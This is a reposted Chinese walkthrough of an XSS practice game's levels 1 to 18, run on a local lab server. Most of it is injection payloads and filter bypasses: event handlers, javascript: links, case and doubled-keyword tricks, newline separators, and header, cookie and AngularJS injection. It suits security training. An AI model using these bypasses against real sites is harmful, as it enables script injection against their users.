日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XSS挑战之旅---游戏通关攻略

發(fā)布時間:2023/12/14 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS挑战之旅---游戏通关攻略 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

最近發(fā)現(xiàn)一個有趣的XSS闖關(guān)小游戲,游戲的作者是先知社區(qū)的大佬Mramydnei,喜歡XSS的大家可以一起來學(xué)習(xí)交流。

現(xiàn)在我把自己在前面的十八關(guān)里面的闖關(guān)過程記錄一下,大神繞行,我是菜鳥,大家可以一起學(xué)習(xí),互相進(jìn)步成長。

第一關(guān),沒有任何疑問,簡單的不能再簡單,沒有任何過濾

輸入點在url里面,參數(shù)name

輸出點在頁面里面,沒有任何限制

所以可以構(gòu)造payload

http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不錯!")</script>http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不錯!")</script>http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不錯!")</script>


XSS挑戰(zhàn)之旅---level2

來到第二關(guān),發(fā)現(xiàn)這次輸入點在界面和url里面都有了

輸出點還是在界面中

我們來嘗試進(jìn)行XSS試探

test"><script>confirm("完成的不錯!")</script>

發(fā)現(xiàn)神奇的彈窗了,好吧,來看看源代碼

顯而易見,上面尖括號被過濾了,而下面卻沒有

這樣的話,我們原來的payload是可以用的

test"><script>confirm("完成的不錯!")</script>test"><script>prompt("完成的不錯!")</script>test"><script>alert("完成的不錯!")</script>


XSS挑戰(zhàn)之旅---level3

來到第三關(guān),前面都比較簡單,就不具體敘述

輸入點輸出點見截圖

這里過濾了尖括號

我們用事件來彈窗啦

' oninput=alert`1` // ' oninput=alert`1` ' ' onchange=alert`1` // ' onchange=alert`1` '


XSS挑戰(zhàn)之旅---level4

第四關(guān)和第三關(guān)基本一樣,真搞不懂考察什么

無非就是把源碼里面單引號變成了雙引號,同樣事件彈窗

payload:

" onchange=alert`1` " " onchange=alert`1` // " oninput=alert`1` " " oninput=alert`1` //


XSS挑戰(zhàn)之旅---level5

廢話不多說了,劇情還是原來的劇情

直接上源碼吧

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; } </script> <title>歡迎來到level5</title> </head> <body> <h1 align=center>歡迎來到level5</h1> <h2 align=center>沒有找到和test相關(guān)的結(jié)果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="test"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的長度:4</h3></body> </html>

這次是on替換成了o_n script替換成了sc_ript
很明顯這是不讓我們用事件和script啊

不想多說了,我自己走了彎路

現(xiàn)在直接發(fā)我的payload:

"> <a href="javascript:%61lert(1)">click me</a> // "> <a href="javascript:alert('xss')">111</a> // "> <a href="javascript:alert(/1/)">axxx</a> //

XSS挑戰(zhàn)之旅---level6

來到level6,這一關(guān)測試的主要是大小寫問題,可以用大小寫繞過技術(shù)

"> <Script>alert('handsome boy')</script> // "> <img Src=x OnError=alert('xss')> //

有趣的事我自己用的編輯器也彈窗了,哈哈


XSS挑戰(zhàn)之旅---level7

來到第七關(guān),這一關(guān)是針對script和on的過濾,我們可以構(gòu)造來繞過

" oonninput=alert(1) " "> <scscriptript>alert`xss`</scscriptript> //

XSS挑戰(zhàn)之旅---level8

來到了第八關(guān),這一關(guān)難度加大,我們來繼續(xù)

首先,我們需要先來進(jìn)行測試一番

測試代碼:

"'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p> ' "><img src=x onerror=alert(2) x=

沒有過濾:' > < % & #

過濾了:" src on script data

就是這些了,唉,頭疼

輸出點1:

<input name=keyword value=""'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>">

這個服了,直接放棄

輸出點2:

</center><center><BR><a href=""'%&#></scr_ipt><p class="o_nmouseover=" o_nmouseover="xx" o_nxxx="">xxx</p>">友情鏈接</a></center><center><img src=level8.jpg></center>

a標(biāo)簽內(nèi),href屬性中,很明顯,我們想到了協(xié)議繞過

Javascript:偽協(xié)議后面可以使用URL編碼。如:<a href="javascript:%61lert(1)">click me</a>可成功執(zhí)行彈窗。可用img就不行:<img src=1 onerror="javascript:%61lert(1)">因為href屬性會跳轉(zhuǎn)到其中的URL,而會進(jìn)行URL解碼,onerror屬性只會執(zhí)行JS,不跳轉(zhuǎn)同時后面的url編碼可以再做一次entity(HTML實體)編碼:<a href="javascript:%61lert(1)">click me</a>

ri ri

javascript:%61lert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1)

XSS挑戰(zhàn)之旅---level9

本題目難點在于它會自動檢測url,如果發(fā)現(xiàn)沒有帶http:// 內(nèi)容則會顯示不合法,那么應(yīng)該如何繞過呢?

href必須帶著url!

javascript:alert(1)//http://www.0aa.me //利用注釋 javascript:%0dhttp://www.0aa.me%0dalert(1) //不能用注釋的情況下

針對題目,我們可以適當(dāng)修改一下

javascript:alert(1)//http://www.0aa.me javascript:%0dhttp://www.0aa.me%0dalert(1) //

XSS挑戰(zhàn)之旅---level10

http://127.0.0.1/xss/level10.php?keyword=well done!

輸入點在url中,參數(shù)是keyword

首先測試以下過濾情況

' "><img src=x onerror=alert(2) x=

群友大神給的payload:

url=&t_sort=" type="text" onclick="alert() http://127.0.0.1/xss/level10.php?keyword=888888&t_sort="; type="text" onclick="alert() http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="" onclick="alert() http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text" http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)

XSS挑戰(zhàn)之旅---level11

我們從第十關(guān)走過來的,開始抓包,打開burp suit抓包看看

http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)

抓包以后觀察,我們發(fā)現(xiàn)refer參數(shù)會輸出到后面

修改refer參數(shù)就可以達(dá)到彈窗效果了

XSS挑戰(zhàn)之旅---level12

繼續(xù)抓包,這次參數(shù)在user-agent處,依照第11關(guān)的辦法抓包改包

XSS挑戰(zhàn)之旅---level13

來到了第十三關(guān),這次修改的參數(shù)在cookie里面

XSS挑戰(zhàn)之旅---level14

查看源碼通過iframe標(biāo)簽引入了一個http://exofvoewer.org, 結(jié)合烏云爆出的


漏洞,上傳一個含有xss代碼的圖片觸發(fā)xss。

exif xss

XSS挑戰(zhàn)之旅---level15

這里用了angularjs的ng-include,直接在包含的頁面里用&lt;script&gt;觸發(fā)不了,用了img標(biāo)簽。

遵循SOP,只好調(diào)用第一關(guān)代碼。

需要單引號包裹,否則變成注釋。

paload:

/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件。

包含的內(nèi)容將作為指定元素的子節(jié)點。

ng-include 屬性的值可以是一個表達(dá)式,返回一個文件名。

默認(rèn)情況下,包含的文件需要包含在同一個域名下。

<element ng-include="filename" onload="expression" autoscroll="expression" ></element> ```

<ng-include src="filename" οnlοad="expression" autoscroll="expression" ></ng-include>

``` <body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>

XSS挑戰(zhàn)之旅---level16

??http://127.0.0.1/xss//level16.php?keyword=test

過濾空格,script,/,使用%0d %0a做分割符

payload:

/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)> http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)> http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')> http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>


XSS挑戰(zhàn)之旅---level17

輸入點在url,我們來尋找輸出點

不要被flash迷惑。

輸入點在url中,過濾了尖括號和雙引號,用on事件觸發(fā)。

payload:

/level17.php?arg01=a&arg02= onmouseover=alert(1) http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)


XSS挑戰(zhàn)之旅---level18

http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)

感覺17題和18題沒啥區(qū)別啊

payload:

http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1) http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1` http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`


19關(guān)和20關(guān)屬于Flash XSS,這里不再贅述,有興趣的小伙伴們可以去深入學(xué)習(xí)。

源碼下載地址:https://github.com/xyongsec/xss-

總結(jié)

以上是生活随笔為你收集整理的XSS挑战之旅---游戏通关攻略的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。